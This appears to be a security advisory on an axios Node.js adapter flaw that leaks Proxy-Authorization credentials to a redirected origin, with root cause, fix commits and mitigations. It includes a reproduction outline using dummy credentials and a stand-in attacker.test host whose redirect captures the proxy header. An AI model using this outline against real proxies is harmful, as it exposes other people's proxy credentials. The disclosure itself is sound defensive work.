| Package | Affected versions | Patched versions |
|---|---|---|
| axios | ≥ 1.0.0, < 1.16.0< 0.32.0 | 1.16.00.32.0 |
| axios | ≥ 1.0.0, < 1.16.0< 0.32.0 | 1.16.00.32.0 |
Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.
This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.
A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.
The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.
The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.
Affected functionality requires all of the following:
http:// request using an authenticated proxy from config.proxy or proxy environment variables.HTTPS_PROXY or a matching NO_PROXY.Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.
In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.
Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.
The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.
The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.
Safe local outline using dummy credentials:
process.env.HTTP_PROXY = 'http://user:[email protected]:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
Expected vulnerable behaviour:
Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz
Expected fixed behaviour:
Final HTTPS origin receives no Proxy-Authorization header.
Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.
Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
<details> <summary>Original Source</summary>Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.
When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.
The issue occurs during a proxy-to-direct transition across redirects.
When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.
In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.
Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.
Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.
In lib/adapters/http.js:
Proxy-Authorization in setProxy().As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.
A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.
HTTP_PROXYHTTPS_PROXY is configured)Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.
Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.
The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.
The issue was confirmed under the following conditions:
Proxy-Authorization.Proxy-Authorization header.Proxy-Authorization header value that was intended only for the proxy.Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.
Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.
If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.
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